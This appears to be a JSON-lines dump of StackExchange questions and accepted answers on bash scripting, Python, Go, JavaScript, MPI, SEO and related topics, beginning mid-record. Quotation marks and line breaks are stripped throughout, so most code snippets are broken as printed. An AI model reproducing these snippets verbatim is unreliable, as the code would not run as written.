$3|$5|$6|$11}'drwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.layoutdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/src-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitorsupport.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_machine.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitors.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_main.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_cc.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/cmake/FindLibDispatch.cmake-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/CMakeLists.txt-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_vector_factory.hdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/FSMControlStatus.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/FSM_Control.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/wb_fsm_control_status.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/wb_fsm_state_status.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/CLActionAction.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBQueryPredicate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMSuspensibleMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBSubMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/gu_util.h~-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/CLTransitionExpression.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBContext.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMState.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMAction.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMExpression.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_cc.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMTransition.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_visitorsupport.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/stringConstants.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_factory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMFactory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMachineVector.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMActivity.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_visitors.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_cc_delegate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_machine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/gu_util.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBPredicate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_wb_vector_factory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSM.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/package.xml-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.cbpuser@rMBP-Ubuntu:[12:34]:/home/user/catkin_ws/src/clfsm$ find /home/user/catkin_ws/src/clfsm  \\( ! -path /home/user/catkin_ws/src/clfsm/cmake ! -path '/home/user/catkin_ws/src/clfsm/cmake/*' ! -path /home/user/catkin_ws/src/clfsm/include ! -path '/home/user/catkin_ws/src/clfsm/include/*' \\) -ls | awk '{print $3|$5|$6|$11}'drwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.layoutdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/src-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitorsupport.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_machine.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitors.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_main.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_cc.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/CMakeLists.txt-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/package.xml-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.cbpuser@rMBP-Ubuntu:[12:35]:/home/user/catkin_ws/src/clfsm$ "  , "title": "How to pass string with special characters to shell command in a script?"  , "tags": "bash;text processing"  , "accepted_answer": "If I understand the requirement properly you should be using -path ... -prune to stop descending into trees.Something like:#!/bin/bash -f# output permissions and ownership with path relative to specified parent.Usage=$0 <parent path> <excluded child folder> ....if [ $# -lt 1 ]then    (>&2 echo -e $Usage)    exit 1else     parent=$1    shift    if [ $# -gt 0 ]    then        for folder in $@        do            thisLine= ( -path $parent/$folder -prune ) -o            excludes=$excludes$thisLine        done    fiset -vx    find $parent $excludes -ls | awk '{print $3|$5|$6|$11}'fiThe idea is to build out a string similar tofind /tmp/A \\( -path /tmp/A/skip1 -prune \\) -o -ls"  } 
{  "id": "_unix.161958"  , "question": "I am trying to figure out a solution for this question. My approach to this problem  so far is as below. Append all the characters together to make it a long string.After the above step, remove all the white spaces or tab spaces so that we will just have one big string.I was able to establish the above steps with the below command. column -s '\\t' inputfile | tr -d '[:space:]'So for an input file like this,1   0   0   0   0   00   1   1   1   0   0After applying the above command I have the values as,100000011100Now in this big string I am trying to apply an approach as below. Extract every 6th character (as the original OP wants), and append it to an array element till the end of the string. So basically, with the above step, I am trying to create the array elements as,10 (1st and 7th character), 01 (2nd and 8th character), 01 (3rd and 9th character), 01 (4th and 10th character), 00 (5th and 11th character), 00 (6th and 12th character).So my question is, how could I extract every nth character so that I could add them to an array to proceed further? (n=6, in this case). "  , "title": "extract every nth character from a string"  , "tags": "shell;shell script;string"  , "accepted_answer": "Two linesHere is a pure-bash solution that produces a bash array:s=100000011100array=($(    for ((i=0; i<${#s}-6; i++))    do        echo ${s:$i:1}${s:$((i+6)):1}    done    ))echo ${array[@]}This produces the same output as shown in the question:10 01 01 01 00 00The key element here is the use of bash's substring expansion.  Bash allows the extraction substrings from a variable, say parameter, via ${parameter:offset:length}.  In our case, the offset is determined by the loop variable i and the length is always 1.General Solution For Any Number of LinesSuppose, for example, that our original string has 18 characters and we want to extract the i-th, the i+6-th, and the i+12-th characters for i from 0 to 5.  Then:s=100000011100234567array=($(    for ((i=0; i<6; i++))    do        new=${s:$i:1}        for ((j=i+6; j<${#s}; j=j+6))        do             new=$new${s:$j:1}        done        echo $new    done    ))echo ${array[@]}This produces the output:102 013 014 015 006 007This same code extends to an arbitrary number of 6-character lines.  For example, if s has three lines (18 characters):s=100000011100234567abcdefThen, the output becomes:102a 013b 014c 015d 006e 007f"  } 
{  "id": "_webapps.5070"  , "question": "Answers so far (and what these services ought to deliver):Disqus Profile (full ownership on Disqus enabled sites, claiming authorship on others)Intense Debate] (for blog publishers: tightly integrated into the WordPress blogging platform)BackType Connect Plugin (for blog publishers: copies comments (that link to one of your posts) to your blog, no matter where they are on the web)Gravatar (self-promotion, better visibility)Google Sidewiki (adds another layer)become a blog publisherIn addition, here are some other services:co.mment (conversation tracker)coComment (conversation tracker - still alive and kicking?)Google Reader: Like item action (appreciation feedback)Convenient solutions for ordinary netizens preferred.For your reading pleasure: Comment ownership is a complex  problem. The commenter writes the  comment, but the blog owner hosts it.  So of course, the blog owner has the  right to decide what he agrees to host  or not. But the person who wrote the  comment might also want to claim some  right to his writing once its  published.  (Who Owns Your Comments?  by Stephanie Booth)"  , "title": "How do you take ownership of your comments?"  , "tags": "sharing;comments;follow;communication"  , "accepted_answer": "Disqus is one of the solutions."  } 
{  "id": "_cs.72196"  , "question": "Let $M$ be a variant of Turing machine with no working tape but with several heads on input word. Prove that these machines accept exactly the languages in $L$.Please hint me how to start."  , "title": "Variant of offline Turing machine"  , "tags": "complexity theory;computability;turing machines"  } 
{  "id": "_unix.192331"  , "question": "I have a file with the following content:list:blue,nonered,noneorange,plot   baseball   ,     noneuniversity,noneschool,nonedesk,plotmonitor,noneearphone,noneI need to read this file, remove spaces and store each column in a different array.script:output_names=()output_plots=()while read line           do    item=$(echo -e ${line} | tr -d '[[:space:]]')    item=$(echo $item | tr , \\n)    output_names+=(${item[0]});    output_plots+=(${item[1]});done <listecho ** output_names:;for item in ${output_names[*]}do    echo $itemdoneecho ** output_plots:;for item in ${output_plots[*]}do    echo $itemdoneHowever it does not work as I expect. What is wrong? and how to fix this code?NoteIf somebody has a solution to store the data in a single array with different keys output['names'][*] and output['plots'][*], that would be highly appreciated as I do not know how to do it.Outputs:** output_names:bluenonerednoneorangeplotbaseballnoneuniversitynoneschoolnonedeskplotmonitornoneearphonenone** output_plots:"  , "title": "Read file remove spaces and store in array"  , "tags": "shell script;string;array"  , "accepted_answer": "This returns a string with spaces:item=$(echo $item | tr , \\n)change it like this to have an array:item=($(echo $item | tr , \\n))output:** output_names:blueredorangebaseballuniversityschooldeskmonitorearphone** output_plots:nonenoneplotnonenonenoneplotnonenoneThere may be better ways to achieve your task tough"  } 
{  "id": "_codereview.93398"  , "question": "The code below works fine for me.  Is there any way that I can improve this code more? Note: delimiter is single whitespace only for email address.getmail.py#!/usr/bin/pythonimport rehandleone = open(scratchmail.txt, r)f1 = handleone.readlines()handletwo = open(mailout.txt, a+)match_list = [ ]   for ArrayItem in f1:    match_list = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', ArrayItem)    if(len(match_list)>0):         handletwo.write(match_list[0]+\\r\\n) Input file scratchmail.txt:tickets.cgi:5141|5141Z4063442957942364067088508|1219588377|1219588377||PND||abc@AABBCC.com|Mjpqafml|JgALKGXCuasMph|tickets.cgi:358236|358236Z24989798132452492828304439|1433071308|1433071308||PND||xyz.abc@example.com|Edison|CpwxPARuQaqPR|tickets.cgi:86805|86805Z25422507290694218605033173|1232345784|1232345784||PND||pytest@test.com|Agfaodki|jPdSNVlbXi|Output file mailout.txt:abc@AABBCC.comxyz.abc@example.compytest@test.com"  , "title": "Extracting emails from a file and writing them to another file"  , "tags": "python;regex;csv;linux;email"  , "accepted_answer": "Working with file handlesYou should always close the file handles that you open.You didn't close any of them.In addition,you should use with open(...) as ... syntax when working with files,so that they will be automatically closed when leaving the scope.Checking if a list is emptyThere is a much simpler way to check if a list is empty, instead of this:if(len(match_list)>0):The Pythonic way to write is simply this:if match_list:Unnecessary initializations and data storageThere's no need to initialize match_list before the loops.You reassign it anyway inside.You don't need to store all the lines from the first file into a list.You can process the input line by line and write output line by line.That can save a lot of memory, as you only need to keep one line in memory at a time,not the entire input file.Poor namingThe file handles are very poorly named.handleone and handletwo don't convey that one is for input the other is for output.ArrayItem doesn't follow the recommended naming convention of snake_case (see PEP8),and it doesn't describe what it really is.But f1 wins the trophy of worst name in the posted code.lines would have been better.Minor optimizationInstead of re-evaluating regular expressions in every loop,I use re.compile to compile them first, to make all uses efficient.However, this might not be necessary,as it seems recent versions of Python have a caching mechanism.Suggested implementationWith the above suggestions applied, the code becomes simpler and cleaner:import rere_pattern = re.compile(r'[\\w\\.-]+@[\\w\\.-]+')with open(input.txt) as fh_in:        with open(mailout.txt, a+) as fh_out:        for line in fh_in:            match_list = re_pattern.findall(line)            if match_list:                fh_out.write(match_list[0]+\\r\\n) "  } 
{  "id": "_webapps.78310"  , "question": "I've set up an alias for automated e-mail delivery from a Linux box. When an e-mail is sent from me@mydomain.com (using my Google Apps credentials) to my_alias@mydomain.com I can see it on my sent mail folder and not in inbox, where I expected it to be.How can I change that so I'd be able to receive the automated e-mails?"  , "title": "Can't see e-mails sent from me to my alias in google apps"  , "tags": "google apps email;google apps for work"  } 
{  "id": "_unix.290112"  , "question": "So there's this rename(1) Perl thing. It suits my task precisely, except that I need it to basically cp files instead of mv.How to achieve that? I have quite a few rules of renaming, all expressed compactly in s|/foodir/|/|;s|/bardir/|/| form, and then a few lines of file patterns which I need to move copy.It looks somewhat like this:rename -v 's|/pars/|/|; s|/fts/|/|; s|innobase/include|include|' \\    storage/{innobase,xtradb}/pars/{pars0grm.cc,pars0grm.y,pars0lex.l,lexyy.cc} \\    storage/{innobase,xtradb}/fts/{fts0blex.cc,fts0blex.l,fts0pars.cc,fts0pars.y,fts0tlex.cc,fts0tlex.l} \\    storage/innobase/include/fts0[bt]lex.hI suspect that a short Perl snippet would shine at this  but I don't speak Perl much.Any help?"  , "title": "rename(1)-like script in Perl, but for copying files?"  , "tags": "scripting;perl;file copy"  } 
{  "id": "_scicomp.27383"  , "question": "I have a Boundary Value Problem for a system of ODEs as an approach of quasi-steady one dimensional flow in a rocket combustion chamber. The equations have the following shape:\\begin{equation}\\dfrac{d (\\rho u A_{p})}{dx} = \\chi(x) \\end{equation}\\begin{equation}\\dfrac{d ((\\rho u^{2} +p) A_{p})}{dx} -p \\dfrac{A_p}{dx}= \\psi(x, \\rho, u)\\end{equation}\\begin{equation}\\dfrac{d (p \\dfrac{\\gamma }{\\gamma - 1}+\\rho u^2 )A_{p} u}{dx} = \\chi(x) h(\\rho) \\end{equation}The gas state equation closes the system\\begin{equation}p = \\rho R_g T\\end{equation}The BC's are:At the beginning of the domain as Initial Values:T(0) = value; u(0) = 0, aprox.And at the end of the domain as closure, the mass flow provides the condition:\\begin{equation}\\rho u A_p = p(1+\\dfrac{\\gamma -1}2 M(u,T)^2)^\\frac{\\gamma}{\\gamma -1} kte \\end{equation}Must be assumed the values which are not the flow magnitudes $(\\rho, p, T, u)$, known.$A_p$ and its variation can be considered a known function related to $x$, $A_p (x)$I am currently applying a finite differences approach with an Explicit Euler's for the ODEs. I have a lot of problems to choose the best method for this problem. I have tried with different ideas, the most recent was the Shooting Method with the secant method for the nonlinearity.I am very lost with this problem and it is the main part of my Bachelors Degree Thesis, so I would appreciate any help."  , "title": "Boundary Value Problem for CFD Case"  , "tags": "pde;fluid dynamics;boundary conditions;nonlinear equations;navier stokes"  } 
{  "id": "_codereview.111597"  , "question": "I'm developing backend for my mobile app by using gin-gonic and gorm ORM (mysql). But I'm not sure api and db handle huge amount requests if clients increased. for example I'm using my db struct as parameter, is this a problem for concurrency ? Here is my implementation:main.go:var i Implfunc main() {    // #GIN# //    r := gin.New()    r.Use(gin.Logger())    r.Use(gin.Recovery())    // #GIN# //    // #DB# //    i.InitDB()    // #DB# //    // #TWITTER# //    t := Twitter{}    t.InitTwitter()    // #TWITTER# //    r.GET(/someEndpoint, func(c *gin.Context) {    i.InsertUser(&user)    go t.Ping(&i)    c.JSON(200, gin.H{status: true})    })    r.Run(:5000)}twitter.go:// InitAPI TO-DOfunc (t *Twitter) InitAPI(token string, tokenSecret string) {    t.API = anaconda.NewTwitterApi(token, tokenSecret)    t.UserID = strings.Split(token, -)[0]}// Ping TO-DOfunc (t *Twitter) Ping(i *Impl) {    t.GetHomeTimeLine(i)    t.GetUsersFriends(i)}// GetHomeTimeLine TO-DOfunc (t *Twitter) GetHomeTimeLine(i *Impl) {    v := url.Values{}    v.Set(count, 200)    v.Set(exclude_replies, true)    results, err := t.API.GetHomeTimeline(v)    if err != nil {        log.Println(err.Error())        return    }    tweets := convertTweets(results, t.UserID)    go i.CreateOrUpdateTimeline(tweets)}// GetUsersFriends TO-DOfunc (t *Twitter) GetUsersFriends(i *Impl) {    v := url.Values{}    v.Set(count, 200)    v.Set(skip_status, true)    friendsChannel := t.API.GetFriendsListAll(v)    for {        _friends, more := <-friendsChannel        if _friends.Error != nil {            log.Println(_friends.Error.Error())            break        }        friends := convertFriends(_friends.Friends, t.UserID)        go i.CreateOrUpdateFriends(friends)        if !more {            break        }    }}db.go:// Impl TO-DOtype Impl struct {    DB gorm.DB}// InitDB TO-DOfunc (i *Impl) InitDB() {    var err error    i.DB, err = gorm.Open(mysql, connection string)    if err != nil {        log.Fatalf(Got error when connect database, the error is '%v', err)    }    i.DB.LogMode(false)    i.DB.DB().SetMaxIdleConns(10)    i.DB.DB().SetMaxOpenConns(100)}// InsertUser TO-DOfunc (i *Impl) InsertUser(user *User) bool {    if err := i.DB.Create(&user).Error; err != nil {        log.Fatalf(InsertError: %s, err.Error())        return false    }    return true}"  , "title": "Mobile app backend using Gin and Gorm ORM"  , "tags": "mysql;go;web services;twitter;rest"  } 
{  "id": "_codereview.156719"  , "question": "I have 2 groovy sql resultset, I need to combine the result set so that project_no should be unique and case_no can have multiple elements if there is a duplicate project_noBelow are the 2 groovy sql resultset[[project_no:0-10001,case_no:00492268],[project_no:0-10160,case_no:01957580],[project_no:1-10014,case_no:02022686]][[project_no:0-10160,case_no:01957590],[project_no:1-10014,case_no:019126],[project_no:1-2896337,case_no:02039596]]Desired List[[project_no:0-10001,case_nos:[00492268]], [project_no:0-10160,case_nos:[01957580,01957590]] ,[project_no:1-10014,case_nos:[02022686,019126]], [project_no:1-2896337,case_nos:[02039596]]]This is what I have triedcaseResultForAnalysis.each { ca ->    def ptmp = [:], caseList = []    tempPrList.add(ca[project_no])    ptmp[project_no] = ca[project_no]    caseList.add(ca[case_no])    if (caseList.size() > 0) {        ptmp[case_nos] = caseList        mergedCaseResult.push(ptmp)    }}mergedCaseResult.each { ma ->    def ptmp = [:], caseList = []    caseResultForUploads.each { cp ->        if (!tempPrList.contains(cp[project_no])) {            ptmp[project_no] = ma[project_no]            caseList.add(cp[case_no])        } else if (ma[project_no] == cp[project_no]) {            //if (!ma[case_nos].contains(cp[case_no]))            List tmp = ma[case_nos]            if (!tmp.contains(cp[case_no]))                ma[case_nos].add(cp[case_no])        }    }    if (caseList.size() > 0) {        ptmp[case_nos] = caseList        mergedCaseResult.push(ptmp)    }}//1st list caseResultForAnalysis//2nd List caseResultForUploads//desired List mergedCaseResultIs there a better way to do this, for better readability and less resource consumption?"  , "title": "Combine lists of objects with no duplicates"  , "tags": "groovy"  } 
{  "id": "_unix.192464"  , "question": "for i in {1..40}do    echo $idoneI got{1..40}and I would like to have something like123and so onso I can use the variable i inside a command's parameter."  , "title": "Brace expansion not working in a script"  , "tags": "bash;shell;shell script;brace expansion"  , "accepted_answer": "In bash 3.0+ (as well as zsh and ksh93), {1..40} will expand to the numbers from 1-40 (inclusive).  In a POSIX shell like dash (which is typical of /bin/sh in e.g. Ubuntu), it will not work (we call this issue a bashism).On systems with the GNU utilities, you can use seq to accomplish this:for i in $(seq 1 40)do    echo $idoneTo be more portable, you'll have to manually increment $i in a while loop:i=1while [ $i -le 40 ]do    echo $i    i=$((i+1))doneThis portable version is also very slightly faster since it lacks the external command."  } 
{  "id": "_webmaster.11532"  , "question": "I'm in the process of improving the SEO in one of our client's multilingual sites.  Currently the site passes a user the site in their preferred language by checking for a language cookie set by the system last time it was visited.  If the cookie does not exist it looks for an Accept-Language header from the browser and checks for a language supported by the site. If that fails it defaults to a language based on some preset defaults for GEO-Location.  Once we have a language determined the site will return the page in the language determined with no change to the URL and with all the proper meta tags for that language. So if a Spanish speaking user requests domain.com/venue/access/ then they we'll see Spanish while an English speaker would see English. Of course if the user clicks a language select link with a query string including lang=?? (?? would be es,en, ect.) their cookie will be changed to that language and they'll get that language from that point forward.The problem with this approach is, while usually great for a person, crawlers (currently) don't pass an Accept-Language header when they request a page.  This means that a result shown for people using Google, Bing, ect. will usually be in the default language or sometimes a completely different language depending on the path the crawler has taken to a page and how it decided to index it.  This is killing our SEO and click-though outside of the default language.We're working with two ideas for how we're going to change handling of user language.Version 1 - All languages have a sub-directoryIf a user hits a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.User has cookie for language preference. Check the browser headers for a supported languageFallback to a site default language based on GEO-Location.Once a language has been determined the system will set a cookie, do a 301 direct and add the language sub-directory to the URL which will be parsed by mod-rewrite and passed as a query string parameter.Version 2 - All NEW languages have a sub-directoryThe first time a user hits the site if they hit a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.User has cookie for language preference. Check the browser headers for a supported languageIf a supported language has been detected the system will set a cookie. If the language is not the default language the system will do a 301 direct and add the language sub-directory to the URL if the language is not the default site language which will be parsed by mod-rewrite and passed as a query string parameter.Any input on the better option?How should we deal with Canonical URL's depending on which option we choose, should canonical URL's point to the main URL without the language sub-directory or should they point to the version for the current language sub-directory? The client would like, if possible, to have counters for social networking reflect the totals for a page in all languages and we're assuming having separate sub-directories for language will prevent this, unless we use a canonical to a single URL which will probably screw up crawlers and negate the whole point of the language changes.Is there an ideal solution I might be missing?"  , "title": "Multilingual sites SEO and canonical"  , "tags": "seo;canonical url;multilingual"  , "accepted_answer": "I do not know the capabilities of the CMS you are using but this is what I would suggest.First of all, try avoiding URL parameters and go for a clear URL scheme. For a Contact page this could look like this:English version: http://domain.com/en/contactPolish version: http://domain.com/pl/kontaktOr:English version: http://en.domain.com/contactPolish version: http://pl.domain.com/kontaktThis way the URL is always easy to understand for the user. Do not use English URLs for non-English pages, so for a Polish page use kontakt instead of contact. After all, if an URL is to be comprehensible for a visitor, it needs to be in the language he or she has chosen to use.If you want to inform search engines about the language of the current page, you have three options that you can use in tandem:Send the HTTP header Content-Language: xx.Use the HTML META section: <meta http-equiv=Content-Language content=xx />. Remember that this is obsolete in HTML5.Use the 'lang attribute in the HTML element. <html lang=xx>Hope this helps!"  } 
{  "id": "_codereview.135192"  , "question": "I have the following piece of code which hides an element when a specified date was reached. I would like to get some tips about do's and don'ts.Specifically, I'm interested in:improvements brought to this codeavoid bad practicesAnd whatever you guys consider I should be careful about.var Timer = (function(){    var $el = $('#element');    function count() {        setInterval(function() {            check();        }, 1000);    }    function hide() {        $el.hide();    }    function check() {        var currentDate = new Date();        var endingDate = new Date(July 25, 2016 11:06:00);        if (currentDate.getTime() >= endingDate.getTime()) {             hide();        }    }    return {        count: count      };})();Timer.count();"  , "title": "Countdown module that hides an element when a specified date is reached"  , "tags": "javascript;jquery;timer;revealing module pattern"  } 
{  "id": "_datascience.5023"  , "question": "With respect to ROC can anyone please tell me what the phrase discrimination threshold of binary classifier system means? I know what a binary classifier is."  , "title": "What is a discrimination threshold of binary classifier?"  , "tags": "classification;graphs"  , "accepted_answer": "Just to add a bit.Like it was mentioned before, if you have a classifier (probabilistic) your output is a probability (a number between 0 and 1), ideally you want to say that everything larger than 0.5 is part of one class and anything less than 0.5 is the other class.But if you are classifying cancer rates, you are deeply concerned with false negatives (telling some he does not have cancer, when he does) while a false positive (telling someone he does have cancer when he doesn't) is not as critical (IDK - being told you've cancer coudl be psychologically very costly). So you might artificially move that threshold from 0.5 to higher or lower values, to change the sensitivity of the model in general.By doing this, you can generate the ROC plot for different thresholds."  } 
{  "id": "_softwareengineering.237435"  , "question": "I was reading this blog post about Hexagonal architecture and at the bottom it says:The Loopback pattern is an explicit pattern for creating an internal replacement for an external device.When I google for Loopback pattern I don't find any details about it.  Does anyone know what the author is referring to?  For curiosity's sake, I'd like to know how to implement this.  "  , "title": "What is the Loopback Pattern?"  , "tags": "design patterns;architecture"  , "accepted_answer": "As an example, I recently had a dependency on a remote Authorization service to validate user access tokens. But then I wrote a service that didn't need Authorization -- it just made calculations. So I implemented the AuthorizationService interface (name changed to protect innocent services) with a NoAuthorizationService that just returned true for validate(token).I could use that same stub interface to stub out calls to the actual Authorization service. But I considered it a production artifact rather than a test artifact, because I could use that for a live service to plug into if I didn't want to otherwise disable calls to that service.Think of 127.0.0.1, the loopback IP -- it just goes to localhost. It's a similar idea in a hexagonal architecture, where calls to a remote service are just looping back to the local service instead....In the more common Gang Of Four lingo, this would be the Null Object pattern. Or else a sentinel object that takes the place of the real thing but doesn't do anything."  } 
{  "id": "_codereview.74375"  , "question": "I finally managed to work with socket.io namespace stuff which I'm using for building a chat module. Here, employees of multiple organizations can join and vhat with other employees of the respective organization. What I'm doing at here is creating separate namespaces for each organization. So, it'll be easier for me to manage all employees of different organizations.Here is my server side code:var express = require('express'),   http = require('http'),app = express(),server = http.createServer(app),io = require('socket.io').listen(server);var nsp_1005 = io.of('/nsp_bucket_1005');nsp_1005.on('connection', function(socket){    console.log('someone connected to namespace bucket 1005');    socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){         console.log('addEmp - Org_Id : '+login_org_id);        console.log('addEmp - Emp_Id : '+login_emp_id);        console.log('addEmp - Emp_Name : '+login_emp_name);         });    socket.on('disconnect', function(){         console.log('Someone disconnected from namespace bucket 1005.');    });});var nsp_1010 = io.of('/nsp_bucket_1010');nsp_1010.on('connection', function(socket){    console.log('someone connected to namespace bucket 1010');      socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){         console.log('addEmp - Org_Id : '+login_org_id);        console.log('addEmp - Emp_Id : '+login_emp_id);        console.log('addEmp - Emp_Name : '+login_emp_name);         });    socket.on('disconnect', function(){         console.log('Someone disconnected from namespace bucket 1010.');    });});Those 1005, 1010 codes are Organization IDs. Sorry for the wired naming scheme. But, one thing right now I'm feeling the way I've made this code is not so good. Because I'm duplicating the code at the time of creating namespace for each organization. Can anyone suggest a better way to arrange this code?"  , "title": "Socket namespace for a chat module"  , "tags": "javascript;node.js;chat;namespaces;socket.io"  , "accepted_answer": "Extract the common logic to a function,where the varying parts are parameters.Unless I'm missing something, this looks trivially easy to do:function setup_namespace(org_id) {    var nsp = io.of('/nsp_bucket_' + org_id);    nsp.on('connection', function(socket){        console.log('someone connected to namespace bucket ' + org_id);        socket.on('addEmp', function(login_org_id, login_emp_id, login_emp_name){             console.log('addEmp - Org_Id : ' + login_org_id);            console.log('addEmp - Emp_Id : ' + login_emp_id);            console.log('addEmp - Emp_Name : ' + login_emp_name);             });        socket.on('disconnect', function() {             console.log('Someone disconnected from namespace bucket ' + org_id);        });    });    return nsp;}var nsp_1005 = setup_namespace(1005);var nsp_1010 = setup_namespace(1010);If you don't need to retain those variables,then you could remove the variables and just leave the calls:setup_namespace(1005);setup_namespace(1010);"  } 
{  "id": "_unix.233330"  , "question": "I have the following problem:My home directory lies on the network and is mounted locally on home/<my username>.I can access it with my normal user account <my username>, but as root, I cannot.I do know about this question:https://serverfault.com/questions/571073/root-cannot-access-users-home-folder-shared-via-nfsHowever, this, from my limited understanding of linux systems etc., seems to be some server-side-solution, if it's even applicable in this case. But I need a client-side solution, since the admins won't change this for the time being.So I was wondering if there was some sort of option to make the superuser  automatically act like user <my username> inside the sub-directory-tree /home/<my username>, whenever the superuser needs access there.As of now, the superuser can't even cd into my home directory.Please note, the solution should work for sudo and in case I choose to sudo su."  , "title": "Make superuser act like some other user in certain directory tree"  , "tags": "permissions;sudo;nfs;su"  } 
{  "id": "_scicomp.8308"  , "question": "I hope this is not too off-topic here -- I've asked it on SO but I'm hoping I'll get better answers here!I'm a little bit confused about when I should call MPI_Wait (or other variants such as: MPI_Waitall, MPII_Waitsome, etc). Consider the following situations: (Note: pseudo code)Case (1)MPI_Isend (send_buffer, send_req);    // Do local workMPI_Probe (recv_msg);MPI_Irecv (recv_buffer, recv_req);// wait for msgs to finishMPI_Wait (recv_req);   // <--- Is this needed?MPI_Wait (send_req);   // <--- How about this?So my confusion stems from MPI_Probe in this case. Since this is a blocking call, wouldn't that essentially mean it blocks the caller until message is received? If this is the case, then I think MPI_Waits are unnecessary here.How about the following case?Case (2)MPI_Isend (send_buffer, send_req);    // Do local workMPI_Probe (recv_msg);MPI_Recv (recv_buffer);// wait for msgs to finishMPI_Wait (send_req);   // <--- Is this necessary?Similar to the first case but MPI_Irecv is replaced with its blocking version. In this case, the message is definitely received by the time MPI_Wait is called which means MPI_Isend must have been finished ... Also as a separate question, what do we mean when we say MPI_Probe is blocking? Does it block until all of the message is received by the process or does it only block until meta-data (such as msg size, sender rank, etc) is received? In other words is MPI_Probe + MPI_Irecv any better than MPI_Probe + MPI_Recv ?"  , "title": "When is MPI_Wait necessary for non-blocking calls?"  , "tags": "parallel computing;mpi;c"  , "accepted_answer": "Bill answered the first part, so I'll only answer the second question.  An MPI send is blocking if it does not return until it is safe to modify the send buffer and a receive is blocking if it does not return until the receive buffer contains the newly-received message.  In practice, outside of buffered sends (thanks, Hristo Iliev), this implies that communication may be required before returning.  For example, MPI_Send is blocking because it cannot complete before the message has been buffered or sent.  Implementations will usually eagerly buffer short messages, in which case MPI_Send appears to return immediately.  This means that code looks like:MPI_Send(&x,count,MPI_INT,(rank+1)%size,1,comm);MPI_Recv(&y,count,MPI_INT,(size+rank-1)%size,1,comm,MPI_STATUS_IGNORE);is expected to deadlock for large messages, although it will likely succeed for small enough messages.  Nonblocking sends and receives return MPI_Requests that must be completed before buffers are accessed/modified.Some operations are a bit different from sends and receives. MPI_Probe is blocking because it does not return until a message has been found, although the message need not have been received yet.  MPI_Iprobe is non-blocking in that it always returns even if there is no message."  } 
